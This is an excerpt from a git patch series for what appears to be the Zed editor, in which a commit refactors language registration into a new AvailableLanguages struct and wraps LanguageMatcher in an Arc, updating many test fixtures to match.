-            matcher: LanguageMatcher {
-                path_suffixes: vec!["md".into()],
-                ..Default::default()
-            },
-            ..LanguageConfig::default()
-        },
-        Some(tree_sitter_md::LANGUAGE.into()),
+#[cfg(any(test, feature = "test-support"))]
+fn test_language(name: &str, grammar: tree_sitter::Language) -> Arc<Language> {
+    Arc::new(
+        Language::new(grammars::load_config(name), Some(grammar))
+            .with_queries(grammars::load_queries(name))
+            .unwrap_or_else(|error| panic!("could not parse queries for language {name}: {error}")),
     )
-    .with_queries(LanguageQueries {
-        brackets: Some(Cow::from(include_str!(
-            "../../grammars/src/markdown/brackets.scm"
-        ))),
-        injections: Some(Cow::from(include_str!(
-            "../../grammars/src/markdown/injections.scm"
-        ))),
-        highlights: Some(Cow::from(include_str!(
-            "../../grammars/src/markdown/highlights.scm"
-        ))),
-        indents: Some(Cow::from(include_str!(
-            "../../grammars/src/markdown/indents.scm"
-        ))),
-        outline: Some(Cow::from(include_str!(
-            "../../grammars/src/markdown/outline.scm"
-        ))),
-        ..LanguageQueries::default()
-    })
-    .expect("Could not parse markdown queries");
-    Arc::new(language)
 }
 
 #[cfg(test)]

From e49d280094537b603953bfb76fac4756619b8181 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Thu, 23 Jul 2026 11:22:43 +0000
Subject: [PATCH 657/772] language: Refactor `available_languages` into its own
 struct (#61388)

This adds a dedicated `AvailableLanguages` struct in preparation for a
more cabable language matching based on a given language config. No
functional changes, just shuffling some code around for this round.

Also made the LanguageMatcher non-cloneable in favor of wrapping it in
an Arc, since cloning is rather expensive for this and having a
reference is sufficient in all cases right now.

Release Notes:

- N/A

---------

Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
---
 crates/agent/src/tools/write_file_tool.rs     |   5 +-
 crates/agent_ui/src/message_editor.rs         |   5 +-
 .../tests/integration/integration_tests.rs    |  20 +-
 .../random_project_collaboration_tests.rs     |   5 +-
 .../remote_editing_collaboration_tests.rs     |   5 +-
 crates/debugger_ui/src/tests/inline_values.rs |  25 +-
 crates/editor/src/code_lens.rs                |   5 +-
 crates/editor/src/display_map.rs              |  15 +-
 crates/editor/src/editor_tests.rs             |  75 +--
 .../editor/src/highlight_matching_bracket.rs  |   5 +-
 crates/editor/src/inlays/inlay_hints.rs       |  10 +-
 crates/editor/src/semantic_tokens.rs          |  20 +-
 .../src/test/editor_lsp_test_context.rs       |  13 +-
 crates/extension/src/extension_host_proxy.rs  |   4 +-
 crates/extension_host/src/extension_host.rs   |   2 +-
 .../src/extension_store_test.rs               |  12 +-
 crates/git_ui/src/commit_view.rs              |   4 +-
 crates/language/src/available_languages.rs    | 367 +++++++++++++++
 crates/language/src/buffer_tests.rs           | 102 ++--
 crates/language/src/language.rs               |  20 +-
 crates/language/src/language_registry.rs      | 439 ++++--------------
 crates/language/src/runnable.rs               |   5 +-
 .../src/syntax_map/syntax_map_tests.rs        |  30 +-
 crates/language_core/src/language_config.rs   |   6 +-
 .../src/language_extension.rs                 |   2 +-
 .../src/language_selector.rs                  |   5 +-
 .../language_tools/src/lsp_log_view_tests.rs  |   5 +-
 crates/languages/src/lib.rs                   |   5 +-
 crates/markdown/src/markdown.rs               |   5 +-
 crates/project/src/lsp_store.rs               |  17 +-
 .../tests/integration/project_tests.rs        |  25 +-
 crates/project_symbols/src/project_symbols.rs |  10 +-
 .../remote_server/src/remote_editing_tests.rs |  42 +-
 crates/repl/src/repl_sessions_ui.rs           |   5 +-
 crates/tasks_ui/src/modal.rs                  |  15 +-
 35 files changed, 761 insertions(+), 574 deletions(-)
 create mode 100644 crates/language/src/available_languages.rs

diff --git a/crates/agent/src/tools/write_file_tool.rs b/crates/agent/src/tools/write_file_tool.rs
index 7c0c78927378df..5956155694710b 100644
--- a/crates/agent/src/tools/write_file_tool.rs
+++ b/crates/agent/src/tools/write_file_tool.rs
@@ -537,10 +537,11 @@ mod tests {
         let rust_language = Arc::new(language::Language::new(
             language::LanguageConfig {
                 name: "Rust".into(),
-                matcher: language::LanguageMatcher {
+                matcher: (language::LanguageMatcher {
                     path_suffixes: vec!["rs".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None,
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index e80c8274599591..f98625df4b5410 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
@@ -3468,10 +3468,11 @@ mod tests {
         let plain_text_language = Arc::new(language::Language::new(
             language::LanguageConfig {
                 name: "Plain Text".into(),
-                matcher: language::LanguageMatcher {
+                matcher: (language::LanguageMatcher {
                     path_suffixes: vec!["txt".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None,
diff --git a/crates/collab/tests/integration/integration_tests.rs b/crates/collab/tests/integration/integration_tests.rs
index 4dcd4bb3e58bfc..e6c377e3d451e6 100644
--- a/crates/collab/tests/integration/integration_tests.rs
+++ b/crates/collab/tests/integration/integration_tests.rs
@@ -2307,10 +2307,11 @@ async fn test_propagate_saves_and_fs_changes(
     let rust = Arc::new(Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -2318,10 +2319,11 @@ async fn test_propagate_saves_and_fs_changes(
     let javascript = Arc::new(Language::new(
         LanguageConfig {
             name: "JavaScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["js".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -4130,10 +4132,11 @@ async fn test_collaborating_with_diagnostics(
     client_a.language_registry().add(Arc::new(Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -4846,10 +4849,11 @@ async fn test_prettier_formatting_buffer(
     client_a.language_registry().add(Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
diff --git a/crates/collab/tests/integration/random_project_collaboration_tests.rs b/crates/collab/tests/integration/random_project_collaboration_tests.rs
index 391cef208d3e4f..d8e66e7a5ee938 100644
--- a/crates/collab/tests/integration/random_project_collaboration_tests.rs
+++ b/crates/collab/tests/integration/random_project_collaboration_tests.rs
@@ -1047,10 +1047,11 @@ impl RandomizedTest for ProjectCollaborationTest {
         client.language_registry().add(Arc::new(Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             None,
diff --git a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
index 3da8fbe6508c3b..d039bce3b39fdd 100644
--- a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
+++ b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
@@ -686,10 +686,11 @@ async fn test_ssh_collaboration_formatting_with_prettier(
     let ts_lang = Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             ..LanguageConfig::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
diff --git a/crates/debugger_ui/src/tests/inline_values.rs b/crates/debugger_ui/src/tests/inline_values.rs
index c82276d824349c..713d2930ef6aa2 100644
--- a/crates/debugger_ui/src/tests/inline_values.rs
+++ b/crates/debugger_ui/src/tests/inline_values.rs
@@ -1831,10 +1831,11 @@ fn python_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "Python".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["py".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_python::LANGUAGE.into()),
@@ -1849,10 +1850,11 @@ fn go_lang() -> Arc<Language> {
         Language::new(
             LanguageConfig {
                 name: "Go".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["go".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             Some(tree_sitter_go::LANGUAGE.into()),
@@ -2268,10 +2270,11 @@ fn javascript_lang() -> Arc<Language> {
         Language::new(
             LanguageConfig {
                 name: "JavaScript".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["js".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -2287,10 +2290,11 @@ fn typescript_lang() -> Arc<Language> {
         Language::new(
             LanguageConfig {
                 name: "TypeScript".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["ts".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -2306,10 +2310,11 @@ fn tsx_lang() -> Arc<Language> {
         Language::new(
             LanguageConfig {
                 name: "TSX".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["tsx".to_string()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 ..Default::default()
             },
             Some(tree_sitter_typescript::LANGUAGE_TSX.into()),
diff --git a/crates/editor/src/code_lens.rs b/crates/editor/src/code_lens.rs
index 7e03e39255d596..d8bd285e159742 100644
--- a/crates/editor/src/code_lens.rs
+++ b/crates/editor/src/code_lens.rs
@@ -1709,10 +1709,11 @@ mod tests {
         language_registry.add(Arc::new(language::Language::new(
             language::LanguageConfig {
                 name: "TypeScript".into(),
-                matcher: language::LanguageMatcher {
+                matcher: (language::LanguageMatcher {
                     path_suffixes: vec!["ts".to_string()],
                     ..language::LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..language::LanguageConfig::default()
             },
             Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
diff --git a/crates/editor/src/display_map.rs b/crates/editor/src/display_map.rs
index ecc41ae29b3985..6a38ac4d338836 100644
--- a/crates/editor/src/display_map.rs
+++ b/crates/editor/src/display_map.rs
@@ -3269,10 +3269,11 @@ pub mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Test".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec![".test".to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 Some(tree_sitter_rust::LANGUAGE.into()),
@@ -3717,10 +3718,11 @@ pub mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Test".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec![".test".to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 Some(tree_sitter_rust::LANGUAGE.into()),
@@ -3804,10 +3806,11 @@ pub mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Test".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec![".test".to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 Some(tree_sitter_rust::LANGUAGE.into()),
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 3a6d2436e250fa..b81634785a903e 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -17239,10 +17239,11 @@ async fn test_document_format_manual_trigger(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..LanguageConfig::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -17690,10 +17691,11 @@ async fn test_organize_imports_manual_trigger(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..LanguageConfig::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -21133,10 +21135,11 @@ async fn test_multiline_completion(cx: &mut TestAppContext) {
     let typescript_language = Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             line_comments: vec!["// ".into()],
             ..LanguageConfig::default()
         },
@@ -23944,10 +23947,11 @@ async fn test_on_type_formatting_not_triggered(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             brackets: BracketPairConfig {
                 pairs: vec![BracketPair {
                     start: "{".to_string(),
@@ -24119,10 +24123,11 @@ async fn test_language_server_restart_due_to_settings_change(cx: &mut TestAppCon
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: language_name.clone(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -25308,10 +25313,11 @@ async fn test_completions_in_languages_with_extra_word_characters(cx: &mut TestA
     let mut cx = EditorLspTestContext::new(
         Language::new(
             LanguageConfig {
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["jsx".into()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 overrides: [(
                     "element".into(),
                     LanguageConfigOverride {
@@ -25423,10 +25429,11 @@ async fn test_document_format_with_prettier(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -25513,10 +25520,11 @@ async fn test_document_format_with_prettier_explicit_language(cx: &mut TestAppCo
     let ts_lang = Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             prettier_parser_name: Some("typescript".to_string()),
             ..LanguageConfig::default()
         },
@@ -25615,10 +25623,11 @@ async fn test_range_format_with_prettier(cx: &mut TestAppContext) {
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -25691,10 +25700,11 @@ async fn test_range_format_with_prettier_explicit_language(cx: &mut TestAppConte
     let ts_lang = Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             prettier_parser_name: Some("typescript".to_string()),
             ..LanguageConfig::default()
         },
@@ -32802,10 +32812,11 @@ async fn test_apply_code_lens_actions_with_commands(cx: &mut gpui::TestAppContex
     language_registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
@@ -33566,10 +33577,11 @@ async fn test_html_linked_edits_on_completion(cx: &mut TestAppContext) {
     let html_language = Arc::new(Language::new(
         LanguageConfig {
             name: "HTML".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["html".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             brackets: BracketPairConfig {
                 pairs: vec![BracketPair {
                     start: "<".into(),
@@ -33689,10 +33701,11 @@ async fn test_linked_edits_on_typing_punctuation(cx: &mut TestAppContext) {
     let language = Arc::new(Language::new(
         LanguageConfig {
             name: "TSX".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["tsx".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             brackets: BracketPairConfig {
                 pairs: vec![BracketPair {
                     start: "<".into(),
@@ -33760,10 +33773,11 @@ async fn test_linked_edits_on_typing_dot_without_language_override(cx: &mut Test
     let language = Arc::new(Language::new(
         LanguageConfig {
             name: "HTML".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["html".to_string()],
                 ..LanguageMatcher::default()
-            },
+            })
+            .into(),
             brackets: BracketPairConfig {
                 pairs: vec![BracketPair {
                     start: "<".into(),
@@ -41519,10 +41533,11 @@ async fn test_tsx_nested_jsx_member_expression_highlights(cx: &mut TestAppContex
         Language::new(
             LanguageConfig {
                 name: "TSX".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["tsx".to_string()],
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..LanguageConfig::default()
             },
             Some(tree_sitter_typescript::LANGUAGE_TSX.into()),
diff --git a/crates/editor/src/highlight_matching_bracket.rs b/crates/editor/src/highlight_matching_bracket.rs
index 15db878791cc04..a0b0ee37b98e1f 100644
--- a/crates/editor/src/highlight_matching_bracket.rs
+++ b/crates/editor/src/highlight_matching_bracket.rs
@@ -99,10 +99,11 @@ mod tests {
             Language::new(
                 LanguageConfig {
                     name: "Rust".into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec!["rs".to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     brackets: BracketPairConfig {
                         pairs: vec![
                             BracketPair {
diff --git a/crates/editor/src/inlays/inlay_hints.rs b/crates/editor/src/inlays/inlay_hints.rs
index de634f467f97e3..de657c4aa629de 100644
--- a/crates/editor/src/inlays/inlay_hints.rs
+++ b/crates/editor/src/inlays/inlay_hints.rs
@@ -1402,10 +1402,11 @@ pub mod tests {
             language_registry.add(Arc::new(Language::new(
                 LanguageConfig {
                     name: name.into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec![path_suffix.to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 Some(tree_sitter_rust::LANGUAGE.into()),
@@ -4636,10 +4637,11 @@ let c = 3;"#
             language_registry.add(Arc::new(Language::new(
                 LanguageConfig {
                     name: name.into(),
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec![path_suffix.to_string()],
                         ..Default::default()
-                    },
+                    })
+                    .into(),
                     ..Default::default()
                 },
                 Some(tree_sitter_rust::LANGUAGE.into()),
diff --git a/crates/editor/src/semantic_tokens.rs b/crates/editor/src/semantic_tokens.rs
index 0790712f5eda34..0d8006aad2d9fc 100644
--- a/crates/editor/src/semantic_tokens.rs
+++ b/crates/editor/src/semantic_tokens.rs
@@ -859,10 +859,11 @@ mod tests {
         let toml_language = Arc::new(Language::new(
             LanguageConfig {
                 name: "TOML".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["toml".into()],
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..LanguageConfig::default()
             },
             None,
@@ -1086,10 +1087,11 @@ mod tests {
         let toml_language = Arc::new(Language::new(
             LanguageConfig {
                 name: "TOML".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["toml".into()],
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..LanguageConfig::default()
             },
             None,
@@ -1097,10 +1099,11 @@ mod tests {
         let rust_language = Arc::new(Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".into()],
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..LanguageConfig::default()
             },
             None,
@@ -1375,10 +1378,11 @@ mod tests {
         let rust_language = Arc::new(Language::new(
             LanguageConfig {
                 name: "Rust".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["rs".into()],
                     ..LanguageMatcher::default()
-                },
+                })
+                .into(),
                 ..LanguageConfig::default()
             },
             None,
diff --git a/crates/editor/src/test/editor_lsp_test_context.rs b/crates/editor/src/test/editor_lsp_test_context.rs
index 854a800d7101d7..b248c090e1d2a0 100644
--- a/crates/editor/src/test/editor_lsp_test_context.rs
+++ b/crates/editor/src/test/editor_lsp_test_context.rs
@@ -177,10 +177,10 @@ impl EditorLspTestContext {
         let language = Language::new(
             LanguageConfig {
                 name: "Typescript".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["ts".to_string()],
                     ..Default::default()
-                },
+                }).into(),
                 brackets: language::BracketPairConfig {
                     pairs: vec![language::BracketPair {
                         start: "{".to_string(),
@@ -282,10 +282,10 @@ impl EditorLspTestContext {
         let language = Language::new(
             LanguageConfig {
                 name: "TSX".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["tsx".to_string()],
                     ..Default::default()
-                },
+                }).into(),
                 brackets: language::BracketPairConfig {
                     pairs: vec![language::BracketPair {
                         start: "{".to_string(),
@@ -390,10 +390,11 @@ impl EditorLspTestContext {
         let language = Language::new(
             LanguageConfig {
                 name: "HTML".into(),
-                matcher: LanguageMatcher {
+                matcher: (LanguageMatcher {
                     path_suffixes: vec!["html".into()],
                     ..Default::default()
-                },
+                })
+                .into(),
                 block_comment: Some(BlockCommentConfig {
                     start: "<!--".into(),
                     prefix: "".into(),
diff --git a/crates/extension/src/extension_host_proxy.rs b/crates/extension/src/extension_host_proxy.rs
index c8bb7ef1343a37..1329dd4fe49c93 100644
--- a/crates/extension/src/extension_host_proxy.rs
+++ b/crates/extension/src/extension_host_proxy.rs
@@ -232,7 +232,7 @@ pub trait ExtensionLanguageProxy: Send + Sync + 'static {
         &self,
         language: LanguageName,
         grammar: Option<Arc<str>>,
-        matcher: LanguageMatcher,
+        matcher: Arc<LanguageMatcher>,
         hidden: bool,
         load: Arc<dyn Fn() -> Result<LoadedLanguage> + Send + Sync + 'static>,
     );
@@ -250,7 +250,7 @@ impl ExtensionLanguageProxy for ExtensionHostProxy {
         &self,
         language: LanguageName,
         grammar: Option<Arc<str>>,
-        matcher: LanguageMatcher,
+        matcher: Arc<LanguageMatcher>,
         hidden: bool,
         load: Arc<dyn Fn() -> Result<LoadedLanguage> + Send + Sync + 'static>,
     ) {
diff --git a/crates/extension_host/src/extension_host.rs b/crates/extension_host/src/extension_host.rs
index 9ebdef8cf29073..21f5b3d369b60c 100644
--- a/crates/extension_host/src/extension_host.rs
+++ b/crates/extension_host/src/extension_host.rs
@@ -249,7 +249,7 @@ pub struct ExtensionIndexIconThemeEntry {
 pub struct ExtensionIndexLanguageEntry {
     pub extension: Arc<str>,
     pub path: PathBuf,
-    pub matcher: LanguageMatcher,
+    pub matcher: Arc<LanguageMatcher>,
     pub hidden: bool,
     pub grammar: Option<Arc<str>>,
 }
diff --git a/crates/extension_host/src/extension_store_test.rs b/crates/extension_host/src/extension_store_test.rs
index aae9dbb942d8ad..68b799c4fc431f 100644
--- a/crates/extension_host/src/extension_store_test.rs
+++ b/crates/extension_host/src/extension_store_test.rs
@@ -56,7 +56,7 @@ fn remote_sync_language_entry(extension: &str, path: &str) -> ExtensionIndexLang
     ExtensionIndexLanguageEntry {
         extension: extension.into(),
         path: path.into(),
-        matcher: LanguageMatcher::default(),
+        matcher: LanguageMatcher::default().into(),
         hidden: false,
         grammar: None,
     }
@@ -393,11 +393,12 @@ async fn test_extension_store(cx: &mut TestAppContext) {
                     path: "languages/erb".into(),
                     grammar: Some("embedded_template".into()),
                     hidden: false,
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec!["erb".into()],
                         first_line_pattern: None,
                         ..LanguageMatcher::default()
-                    },
+                    })
+                    .into(),
                 },
             ),
             (
@@ -407,11 +408,12 @@ async fn test_extension_store(cx: &mut TestAppContext) {
                     path: "languages/ruby".into(),
                     grammar: Some("ruby".into()),
                     hidden: false,
-                    matcher: LanguageMatcher {
+                    matcher: (LanguageMatcher {
                         path_suffixes: vec!["rb".into()],
                         first_line_pattern: None,
                         ..LanguageMatcher::default()
-                    },
+                    })
+                    .into(),
                 },
             ),
         ]
diff --git a/crates/git_ui/src/commit_view.rs b/crates/git_ui/src/commit_view.rs
index a45590260dad2d..de8e1f2166f2a4 100644
--- a/crates/git_ui/src/commit_view.rs
+++ b/crates/git_ui/src/commit_view.rs
@@ -967,9 +967,9 @@ async fn build_buffer(
     let text = Rope::from(text);
     let language =
         cx.update(|_, cx| language_registry.language_for_file(&blob, Some(&text), cx))?;
-    let language = if let Some(language) = language {
+    let language = if let Some(language_id) = language {
         language_registry
-            .load_language(&language)
+            .load_language(language_id)
             .await
             .ok()
             .and_then(|e| e.log_err())
diff --git a/crates/language/src/available_languages.rs b/crates/language/src/available_languages.rs
new file mode 100644
index 00000000000000..236726b3185980
--- /dev/null
+++ b/crates/language/src/available_languages.rs
@@ -0,0 +1,367 @@
+use crate::{LanguageId, LanguageMatcher, LanguageName, LoadedLanguage, ManifestName};
+use anyhow::Result;
+use collections::FxHashMap;
+use globset::GlobSet;
+use smallvec::SmallVec;
+use std::{cell::LazyCell, path::Path, sync::Arc};
+use sum_tree::Bias;
+use text::{Point, Rope};
+use unicase::UniCase;
+
+#[derive(Clone)]
+pub struct AvailableLanguage {
+    pub(super) id: LanguageId,
+    pub(super) name: LanguageName,
+    pub(super) grammar: Option<Arc<str>>,
+    pub(super) matcher: Arc<LanguageMatcher>,
+    pub(super) hidden: bool,
+    pub(super) load: Arc<dyn Fn() -> Result<LoadedLanguage> + 'static + Send + Sync>,
+    pub(super) loaded: bool,
+    pub(super) manifest_name: Option<ManifestName>,
+}
+
+impl AvailableLanguage {
+    pub fn id(&self) -> LanguageId {
+        self.id
+    }
+
+    pub fn name(&self) -> LanguageName {
+        self.name.clone()
+    }
+
+    pub fn matcher(&self) -> &LanguageMatcher {
+        &self.matcher
+    }
+
+    pub fn hidden(&self) -> bool {
+        self.hidden
+    }
+}
+
+#[derive(Default)]
+pub(super) struct AvailableLanguages(Vec<AvailableLanguage>);
+
+#[derive(Copy, Clone, Default)]
+enum LanguageMatchPrecedence {
+    #[default]
+    Undetermined,
+    PathOrContent(usize),
+    UserConfigured(usize),
+}
+
+impl AvailableLanguages {
+    pub(super) fn register(
+        &mut self,
+        name: LanguageName,
+        grammar: Option<Arc<str>>,
+        matcher: Arc<LanguageMatcher>,
+        hidden: bool,
+        manifest_name: Option<ManifestName>,
+        load: Arc<dyn Fn() -> Result<LoadedLanguage> + 'static + Send + Sync>,
+    ) -> bool {
+        if let Some(existing_language) = self
+            .0
+            .iter_mut()
+            .find(|existing_language| existing_language.name == name)
+        {
+            existing_language.grammar = grammar;
+            existing_language.matcher = matcher;
+            existing_language.load = load;
+            existing_language.manifest_name = manifest_name;
+            false
+        } else {
+            self.add(AvailableLanguage {
+                id: LanguageId::new(),
+                name,
+                grammar,
+                matcher,
+                hidden,
+                load,
+                loaded: false,
+                manifest_name,
+            });
+            true
+        }
+    }
+
+    pub(super) fn add(&mut self, language: AvailableLanguage) {
+        self.0.push(language);
+    }
+
+    pub(super) fn unloaded_language_names(&self) -> Vec<LanguageName> {
+        self.0
+            .iter()
+            .filter_map(|language| (!language.loaded).then_some(language.name.clone()))
+            .collect()
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub(super) fn name_for_id(&self, id: LanguageId) -> Option<LanguageName> {
+        self.0
+            .iter()
+            .find(|language| language.id == id)
+            .map(|language| language.name.clone())
+    }
+
+    pub(super) fn get_language(&self, id: LanguageId) -> Option<&AvailableLanguage> {
+        self.0.iter().find(|language| language.id == id)
+    }
+
